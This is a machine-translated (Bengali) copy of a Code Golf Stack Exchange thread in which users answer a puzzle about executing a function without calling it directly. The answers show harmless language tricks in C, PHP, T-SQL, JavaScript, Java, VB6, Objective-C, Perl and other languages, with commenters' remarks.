void the_function(void) __attribute__((__noreturn__, __used__));

int
main(void)
{
    asm volatile (".section fnord");
    return (1);
}

void
the_function(void)
{
    asm volatile (".text");
    printf("Hi there!\n");
    exit(0);
}

এর ফলে কিছু জিসিসি-নির্গত কোড অবজেক্ট ফাইলের বিভিন্ন বিভাগে শেষ হয়ে যাবে, কার্যকরভাবে নিয়ন্ত্রণ প্রবাহকে the_function- এর মাধ্যমে "প্রবাহিত" করবে। মনে রাখবেন যে জিসিসি স্পষ্টতই, ফাংশনগুলি পুনরায় অর্ডার করার সিদ্ধান্ত নেয় তবে এটি কাজ করে না। ব্যবহার করে মিরবিএসডি-বর্তমান / আই 386-তে জিসিসি 3.4.6 দিয়ে পরীক্ষিত -O2। (এছাড়াও, এটি ডিবাগিং ভঙ্গ করে, -gত্রুটিগুলি সমাধান করে ☺)


8

পিএইচপি ≥5.4.0

এই সমাধানটি স্বীকারোক্তিজনকভাবে একটি ভয়াবহ জগাখিচুড়ি, তবে এটি তার দেওয়া কার্য সম্পাদন করে (এটি কতটা ভালভাবে সম্পাদন করতে হবে তা নিয়ে কোনও শর্ত ছিল না )।

কল না করে কল করার জন্য ফাংশন :

function getRandomString( $len = 5 )
{
    $chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM1234567890";
    $string = "";

    for( $i = 0; $i < $len; ++$i )
    {
        $idx = mt_rand( 0, strlen( $chars ) - 1 );
        $string .= $chars[$idx];
    }

    return $string;
}

সমাধান :

function executeFunction( $name, $args = [ ] )
{
    global $argv;

    $code = file_get_contents( $argv[0] );
    $matches = [];
    $funcArgs = "";
    $funcBody = "";

    if( preg_match( "~function(?:.*?){$name}(?:.*?)\(~i", $code, $matches ) )
    {
        $idx = strpos( $code, $matches[0] ) + strlen( substr( $matches[0], 0 ) );

        $parenNestLevel = 1;
        $len = strlen( $code );

        while( $idx < $len and $parenNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "(" )
                ++$parenNestLevel;
            elseif( $char == ")" )
            {
                if( $parenNestLevel == 1 )
                    break;
                else
                    --$parenNestLevel;
            }

            ++$idx;
            $funcArgs .= $char;
        }

        $idx = strpos( $code, "{", $idx ) + 1;
        $curlyNestLevel = 1;

        while( $idx < $len and $curlyNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "{" )
                ++$curlyNestLevel;
            elseif( $char == "}" )
            {
                if( $curlyNestLevel == 1 )
                    break;
                else
                    --$curlyNestLevel;
            }

            ++$idx;
            $funcBody .= $char;
        }
    } else return;

    while( preg_match( "@(?:(\\$[A-Z_][A-Z0-9_]*)[\r\n\s\t\v]*,)@i", $funcArgs, $matches ) )
    {
        var_dump( $matches );
        $funcArgs = str_replace( $matches[0], "global " . $matches[1] . ";", $funcArgs );
    }

    $funcArgs .= ";";
    $code = $funcArgs;

    foreach( $args as $k => $v )
        $code .= sprintf( "\$%s = \"%s\";", $k, addslashes( $v ) );

    $code .= $funcBody;

    return eval( $code );
}

উদাহরণ :

//Call getRandomString() with default arguments.
$str = executeFunction( "getRandomString" );
print( $str . PHP_EOL );

//You can also pass your own arguments in.
$args = [ "len" => 25 ]; //The array key must be the name of one of the arguments as it appears in the function declaration.
$str = executeFunction( "getRandomString", $args );
print( $str . PHP_EOL );

সম্ভাব্য আউটপুট:

6Dz2r
X7J0p8KVeiaDzm8BInYqkeXB9

ব্যাখ্যা :

যখন ডাকা হয়, executeFunction()বর্তমানে সম্পাদনকারী ফাইলের সামগ্রীগুলি পড়বে (যার অর্থ এটি কেবল সিএলআই থেকে চালানো বোঝানো হবে, যেমন এটি ব্যবহার করে $argv), নির্দিষ্ট ফাংশনের আর্গুমেন্ট এবং মূল অংশটি পার্স করে, সবকিছুকে একত্রে একটি নতুন অংশে হ্যাক করবে কোড, eval()সব, এবং ফলাফল ফিরে। ফলাফলটি getRandomString()প্রত্যক্ষ বা অপ্রত্যক্ষভাবে বাস্তবে কখনই ডাকা হয় না, তবে ফাংশন বডিটিতে কোডটি এখনও কার্যকর হয়।


ঠিক আছে, __construct()পিএইচপি-তে পদ্ধতি তৈরি করা কীহেতু আপনি কখনই সরাসরি ফাংশনটি কল করেন না, new Something()পরিবর্তে ব্যবহার করবেন ?
দামির ক্যাসিপোভিচ

@ ডি ক্যাসিপোভিচ প্রকারের মধ্যে কেউ যুক্তি দিতে পারেন যে আপনি সরাসরি এটিকে অন্যভাবে উপস্থাপন করছেন। আমি আমার বর্তমান পদ্ধতিটি বেছে নিয়েছি কারণ আমি বাক্সের বাইরে ভাবতে পছন্দ করি। আমি শুধু একটি কলব্যাক যেমন ফাংশন নিবন্ধীকৃত করেছেন পারে register_tick_function(), register_shutdown_function()অথবা spl_autoload_register()@ GRC এর পাইথন উত্তর অনুরূপ, কিন্তু আমি এমন কিছু মনে হয় 'প্রতারণার' এবং সহজ উপায় আউট নিচ্ছে।
টনি এলিস


7

টি-এসকিউএল

এটি একটি বিল্ট ইন ফিচার। জয়ের জন্য ট্রিগাররা!

আপনি যদি এটির সাথে সত্যিই মজা পেতে চান তবে এপ্রিল ফুলের দিন ইনস্টিটিউট অফ ট্রিগারগুলির একটি গোছা তৈরি করুন।

CREATE TABLE hw(
  Greeting VARCHAR(MAX)
  );

CREATE TRIGGER TR_I_hw
ON hw
INSTEAD OF INSERT
AS
BEGIN
  INSERT hw
  VALUES ('Hello, Code Golf!')
END;

INSERT hw
VALUES ('Hello, World!');

SELECT * FROM hw

ফলাফল:

|          GREETING |
|-------------------|
| Hello, Code Golf! |

খুব প্রেনক এ জাতীয় লুলজ কি দারুন.

টিঙ্কার এসকিউএলফিডেলে এটিকে প্রশস্ত করুন।


2
ট্রিগাররা সর্বদা আমাকে অ্যাপ্লিকেশন বিকাশকারী হিসাবে গ্রহণ করে, আমি কখনই সেগুলি আশা করি না।
ম্যাথু

7

জাভাস্ক্রিপ্ট

ফায়ারফক্স কনসোলে:

    this.toString = function(){alert('Wow')};

তারপরে কনসোলে কিছু লিখতে শুরু করুন - আপনি কনসোলে টাইপ করার সময় ফায়ারফক্স .toString()একাধিকবার কল করে।

অনুরূপ পদ্ধতি হ'ল:

    window.toString = function(){alert('Wow');
            return 'xyz';
    };
    "" + window;

6

সি

পছন্দের প্ল্যাটফর্মটি লিনাক্স। আমরা আমাদের ফাংশনটি কল করতে পারি না, সুতরাং আমাদের লিঙ্কারটি এটির পরিবর্তে করব:

#include <stdlib.h>
#include <stdio.h>

#define ADDRESS 0x00000000600720 // ¡magic!

void hello()
{
        printf("hello world\n");
}

int main(int argc, char *argv[])
{
        *((unsigned long *) ADDRESS) = (unsigned long) hello;
}

কিভাবে যাদু ঠিকানা পেতে?

আমরা লিনাক্স স্ট্যান্ডার্ড বেস কোর নির্দিষ্টকরণের উপর নির্ভর করছি, যা বলে:

.fini_array

এই বিভাগটি ফাংশন পয়েন্টারগুলির একটি অ্যারে ধারণ করে যা বিভাগটি সম্পাদনযোগ্য বা ভাগ করা অবজেক্টের জন্য একক সমাপ্তি অ্যারেতে অবদান রাখে।

  1. কোডটি সংকলন করুন:

    gcc but_for_what_reason_exactly.c -o but_for_what_reason_exactly

  2. এর ঠিকানা পরীক্ষা করুন .fini_array:

    objdump -h -j .fini_array but_for_what_reason_exactly

  3. এর ভিএমএ সন্ধান করুন:

 but_for_what_reason_exactly:     file format elf64-x86-64
 Sections:
 Idx Name          Size      VMA               LMA               File off  Algn
  18 .fini_array   00000008  0000000000600720  0000000000600720  00000720  2**3
                   CONTENTS, ALLOC, LOAD, DATA

এবং জন্য যে মান প্রতিস্থাপন ADDRESS


5

ভিবি 6 এবং ভিবিএ

এটি যোগ্যতা অর্জন করে কিনা তা নিশ্চিত নন, কারণ এটি একটি শ্রেণীর কোনও পদ্ধতিকে কল করছে:

এটি একটি ক্লাস মডিউলে যায়:

Public Sub TheFunction()

    MsgBox ("WTF?")

End Sub

Public Sub SomeOtherFunction()

    MsgBox ("Expecting this.")

End Sub

এবং এটি "কলিং" কোড:

Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (hpvDest As Any, hpvSource As Any, ByVal cbCopy As Long)

Sub Demo()

    Dim a As Long, b as Long
    Dim example As New Class1

    CopyMemory a, ByVal ObjPtr(example), 4
    CopyMemory b, ByVal a + &H1C, 4
    CopyMemory ByVal a + &H1C, ByVal a + &H1C + 4, 4
    CopyMemory ByVal a + &H1C + 4, b, 4

    Call example.SomeOtherFunction

End Sub

এটি ক্লাসের ভিটিবেলে দুটি সাব এর জন্য ভিটিপিআর ফাংশন অদলবদল করে কাজ করে।


বাবু, তুমি বিপজ্জনক ! সুন্দর!
ম্যাথিউ গুইন্ডন 21

আমি বলতে চাই এটা নেই যোগ্যতা অর্জন, কারণ ভিবি 6 / VBA একটি পদ্ধতি একটি বর্গ একজন সদস্য - অন্যথায় এটি একটি এর পদ্ধতি ;)
ম্যাথিউকে Guindon

5

Haskell,

যদি আপনি তা করেন:

main=putStrLn "This is the main action."

এটি চালানোর সময় এটির নাম না দিয়ে এটি তত্ক্ষণাত কার্যকর করা হবে। ম্যাজিক!


1
হাস্কেল গণনা করেন না। আপনি কোনও আইও অ্যাকশনটি কল করতে পারবেন না , কেবল এটিতে আরও আইও ক্রিয়াকে শৃঙ্খলাবদ্ধ করতে পারেন বা এটি কোথাও নির্ধারিত করতে পারেন।
জন ডিভোরাক

এটি আইও ক্রিয়াগুলির জন্য সমতুল্য ধারণা।
পাইরুলেজ

5

জাভাস্ক্রিপ্ট

সহজ, কেবল জেএসে on___ইভেন্টগুলি ব্যবহার করুন । উদাহরণ স্বরূপ:

var img = document.createElement('img')
img.onload = func
img.src = 'http://placehold.it/100'

4

জাভা

আমার কাছ থেকে অন্যান্য জাভা উত্তর। আপনি কোডটিতে দেখতে পাচ্ছেন, এটি সরাসরি কল করে theCalledMethodতবে notCalledMethodপরিবর্তে পদ্ধতিটি কার্যকর করা হয়।

সুতরাং, শেষ পর্যন্ত আমি 2 টি কাজ করছি:

  • কোনও পদ্ধতি কল না করে কল করা।
  • কল করে কোনও পদ্ধতি কল করে না।
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

public class ClassRewriting {
    public static void main(String[] args) throws IOException {
        patchClass();
        OtherClass.theCalledMethod();
    }

    private static void patchClass() throws IOException {
        File f = new File("OtherClass.class");
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (InputStream is = new BufferedInputStream(new FileInputStream(f))) {
            int c;
            while ((c = is.read()) != -1) baos.write(c);
        }
        String s = baos.toString()
                .replace("theCalledMethod", "myUselessMethod")
                .replace("notCalledMethod", "theCalledMethod");
        try (OutputStream os = new BufferedOutputStream(new FileOutputStream(f))) {
            for (byte b : s.getBytes()) os.write(b);
        }
    }
}

class OtherClass {
    public static void theCalledMethod() {
        System.out.println("Hi, this is the called method.");
    }

    public static void notCalledMethod() {
        System.out.println("This method is not called anywhere, you should never see this.");
    }
}

এটি চালানো:

> javac ClassRewriting.java

> java ClassRewriting
This method is not called anywhere, you should never see this.

>

এটি প্ল্যাটফর্ম নির্ভর। বিশেষত, এটি সম্ভবত ওএস এক্সে ব্যর্থ হবে যেখানে প্ল্যাটফর্মের ডিফল্ট অক্ষর এনকোডিংটি ইউটিএফ -8 রয়েছে।
ntoskrnl

@ntoskrnl আপনি যদি এনকোডিংয়ের নামটি কোনও প্যারামিটার হিসাবে getBytes()পদ্ধতিতে পাস করে চালু করেন তবে এটি ঠিক করা সহজ হবে getBytes("UTF-8")। যেহেতু আমার কাছে ওএস এক্স নেই, আপনি কি পরীক্ষা করতে পারবেন যদি এটি কাজ করে?
ভিক্টর স্টাফুসা

ইউটিএফ -8 বাইনারি ডেটার জন্য কাজ করে না। আইএসও -8859-1 এর মতো একটি একক বাইট এনকোডিংয়ের কাজ করা উচিত তবে বাইনারি ডেটাটিকে স্ট্রিং হিসাবে চিকিত্সা করা এখনও ভুল।
ntoskrnl

3
@ntoskrnl আসলে, আমি এখানে যা করছি তা করার জন্য শ্রেণিবদ্ধদের ধর্ষণ করা ভুল, এনকোডিং সমস্যাগুলির মধ্যে সবচেয়ে ছোট। :)
ভিক্টর স্টাফুসা

4

পাইথন

class Snake:

    @property
    def sneak(self):
        print("Hey, what's this box doing here!")
        return True

solid = Snake()

if hasattr(solid, 'sneak'):
    print('Solid Snake can sneak')

4

জাভা

হ্যাঁ, আবর্জনা সংগ্রহ!

public class CrazyDriver {

    private static class CrazyObject {
        public CrazyObject() {
            System.out.println("Woo!  Constructor!");
        }

        private void indirectMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            indirectMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
    }

    private static void randomMethod() {
        CrazyObject wut = new CrazyObject();
    }
}

যারা অনিবার্যভাবে বলবেন এটি System.gc()অবিশ্বাস্যর জন্য একটি সংস্করণ :

public class UselessDriver {

    private static class UselessObject {

        public UselessObject() {
            System.out.println("Woo!  Constructor!");
        }

        public void theWinningMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            theWinningMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
        fillTheJVM();
    }


    private static void randomMethod() {
        UselessObject wut = new UselessObject();
    }

    private static void fillTheJVM() {
        try {
            List<Object> jvmFiller = new ArrayList<Object>();
            while(true) {
                jvmFiller.add(new Object());
            }
        }
        catch(OutOfMemoryError oome) {
            System.gc();
        }
    }
}

4

উদ্দেশ্য গ

(সম্ভবত ম্যাক ওএস এক্সে ঝনঝনির সাথে সংকলিত হলেই)

#import <Foundation/Foundation.h>
#import <objc/runtime.h>

void unusedFunction(void) {
    printf("huh?\n");
    exit(0);
}

int main() {

    NSString *string;
    string = (__bridge id)(void*)0x2A27; // Is this really valid?

    NSLog(@"%@", [string stringByAppendingString:@"foo"]);

    return 0;
}

@interface MyClass : NSObject
@end
@implementation MyClass

+ (void)load {
    Class newClass = objc_allocateClassPair([NSValue class], "MyClass2", 0);
    IMP imp = class_getMethodImplementation(self, @selector(unusedMethod));
    class_addMethod(object_getClass(newClass), _cmd, imp, "");
    objc_registerClassPair(newClass);
    [newClass load];
}

- (void)unusedMethod {
    Class class = [self superclass];
    IMP imp = (IMP)unusedFunction;
    class_addMethod(class, @selector(doesNotRecognizeSelector:), imp, "");
}

@end

এই কোডটি অব্যবহৃত ফাংশনে যেতে বিভিন্ন কৌশল ব্যবহার করে। প্রথম মান 0x2A27। এটি পূর্ণসংখ্যা 42 এর জন্য একটি ট্যাগড পয়েন্টার , যা কোনও বস্তু বরাদ্দ এড়াতে পয়েন্টারে মানটি এনকোড করে।

পরেরটি MyClass। এটি কখনও ব্যবহার করা হয় না, তবে রানটাইমটি +loadআগে লোড হওয়ার পরে পদ্ধতিটিকে কল করে main। এই গতিশীলভাবে এটি একটি সুপার ক্লাস NSValueহিসাবে ব্যবহার করে একটি নতুন শ্রেণি তৈরি করে এবং নিবন্ধভুক্ত করে । এটি একটি যোগ +loadযে বর্গ জন্য পদ্ধতি ব্যবহার MyClassএর -unusedMethodবাস্তবায়ন হিসাবে। নিবন্ধকরণের পরে, এটি নতুন শ্রেণিতে লোড পদ্ধতিটিকে কল করে (কোনও কারণে এটি স্বয়ংক্রিয়ভাবে বলা হয় না)।

যেহেতু নতুন শ্রেণীর লোড পদ্ধতিটি একই বাস্তবায়ন ব্যবহার করে unusedMethod, তাই কার্যকরভাবে বলা হয়। এটি নিজেই সুপারক্লাস নেয় এবং unusedFunctionশ্রেণীর doesNotRecognizeSelector:পদ্ধতির প্রয়োগ হিসাবে এটি যুক্ত করে । এই পদ্ধতিটি মূলত একটি উদাহরণ পদ্ধতি ছিল MyClass, তবে নতুন শ্রেণিতে শ্রেণি পদ্ধতি হিসাবে ডাকা হচ্ছে self, নতুন শ্রেণীর অবজেক্টটিও তাই। অতএব, সুপারক্লাসটি NSValueহ'ল এটিও সুপারক্লাস NSNumber

অবশেষে, mainরান। এটি পয়েন্টারের মান নেয় এবং এটিকে একটি NSString *ভেরিয়েবলের সাথে আটকে দেয় (এটি __bridgeএবং এটির void *সাথে বা এটি ছাড়া ব্যবহারের অনুমতি দেওয়ার জন্য প্রথম কাস্ট )। তারপরে, এটি stringByAppendingString:সেই পরিবর্তনশীলটিকে কল করার চেষ্টা করে । যেহেতু এটি আসলে একটি সংখ্যা, যা এই পদ্ধতিটি প্রয়োগ করে না, doesNotRecognizeSelector:পরিবর্তে পদ্ধতিটি বলা হয়, যা শ্রেণি শ্রেণিবিন্যাসের মধ্য দিয়ে ভ্রমণ করে NSValueযেখানে এটি ব্যবহার করে প্রয়োগ করা হয় unusedFunction


দ্রষ্টব্য: অন্যান্য সিস্টেমের সাথে অসঙ্গতিটি ট্যাগ পয়েন্টার ব্যবহারের কারণে, যা আমি বিশ্বাস করি না যে অন্যান্য বাস্তবায়ন দ্বারা প্রয়োগ করা হয়েছে। এটি যদি একটি সাধারণভাবে তৈরি করা নম্বর দিয়ে প্রতিস্থাপন করা হয় তবে বাকী কোডটি ঠিকঠাক কাজ করা উচিত।


এইচএম, সিরুজ 'ওবিজেএফডাব্লু'র সাথে চেষ্টা করুন , এটি একটি দুর্দান্ত শালীন উদ্দেশ্য-সি রানটাইম এবং কাঠামো, সম্ভবত এটি, বা কাছের কিছু এটির সাথেও কাজ করবে ;-)
মিরাবিলোস

@ এমিরাবিলোস এর মধ্যে কেবলমাত্র অসঙ্গতি হ'ল 0x2A27মান, সুতরাং এটি অন্য কোথাও প্রয়োগ করা হয়েছে কিনা তা আমি কেবল জানি না। ObjFW অবশ্যই আকর্ষণীয় যদিও।
ughoavgfhw


@ ব্রায়ান ধন্যবাদ! আমি সেই নিবন্ধটি সন্ধান করছিলাম এবং সঠিক নামটি মনে করতে পারলাম না।
ughoavgfhw

@ ব্রায়ানচেন আহ ঠিক আছে ughoavgfhw: অবশ্যই, আপনি যদি এটির সাথে খেলতে চান তবে কেবল বিকল্প রানটাইমটি নির্দেশ করতে চেয়েছিলেন।
মীরাবিলোস 4:44

3

জাভাস্ক্রিপ্ট

আমি মনে করি এটি স্পষ্টভাবে দেখতে লাগে না যেমন এটি ফাংশনটি কল করছে

window["false"] =  function() { alert("Hello world"); }
window[![]]();

5
আপনি যদি আমাকে জিজ্ঞাসা করেন তবে খুব সুন্দর সীমান্তরেখা।
কোল জনসন

@ কোল জনসন আমার মনে হয় তিনি ইতিমধ্যে এটি পেরিয়ে গেছেন ...
টমাস

3

সি # (এর মাধ্যমে using)

using System;

namespace P
{
    class Program : IDisposable
    {
        static void Main(string[] args)
        {
            using (new Program()) ;
        }

        public void Dispose()
        {
            Console.Write("I was called without calling me!");
        }
    }
}

3

জাভা

package stuff;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class SerialCall {
    static class Obj implements Serializable {
        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
            System.out.println("Magic!");
        }
    }

    private static final byte[] data = { -84, -19, 0, 5, 115, 114, 0, 20, 115,
            116, 117, 102, 102, 46, 83, 101, 114, 105, 97, 108, 67, 97, 108,
            108, 36, 79, 98, 106, 126, -35, -23, -68, 115, -91, -19, -120, 2,
            0, 0, 120, 112 };

    public static void main(String[] args) throws Exception {
//      ByteArrayOutputStream baos = new ByteArrayOutputStream();
//      ObjectOutputStream out = new ObjectOutputStream(baos);
//      out.writeObject(new Obj());
//      System.out.println(Arrays.toString(baos.toByteArray()));

        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(data));
        in.readObject();
    }
}

আমি জাভা সিরিয়ালাইজেশনের একটি বিশেষ বৈশিষ্ট্যটি গ্রহণ করছি। readObjectযখন একটি বস্তু deserialized হয় পদ্ধতি প্রার্থনা, কিন্তু এটি সরাসরি বলা হচ্ছে - আমার কোড দ্বারা নয়, কিংবা deserialization গ্রন্থাগার দ্বারা। যদি আপনি উত্সটি গভীরভাবে খনন করেন তবে আপনি দেখতে পাবেন যে নিম্ন স্তরে পদ্ধতিটি অভ্যন্তরীণভাবে প্রতিবিম্বের মাধ্যমে ডাকা হয়।


হাঁ; সিরিয়ালাইজেশন বেশ মজার কৌতুক অনুমতি দেয় :);
বিটিডব্লিউ

3

পার্ল

এটি এত সহজ। সুস্পষ্ট কল ছাড়াই নীচের কোডটি স্বয়ংক্রিয়ভাবে সাববুটিনে কোড চালায়।

sub call_me_plz {
    BEGIN {
        print "Hello, world!\n";
    }
}
# call_me_plz(); # don't call the method

এমনকি যদি আপনি কলটি আপত্তিহীন করেন তবে এটি কেবল একবার একবার কল করা হবে।


কীভাবে? জাদুটির পিছনে ফেলা যায় না +
মাস্টারএক্স 244
আমাদের সাইট ব্যবহার করে, আপনি স্বীকার করেছেন যে আপনি আমাদের কুকি নীতি এবং গোপনীয়তা নীতিটি পড়েছেন এবং বুঝতে পেরেছেন ।
Licensed under cc by-sa 3.0 with attribution required.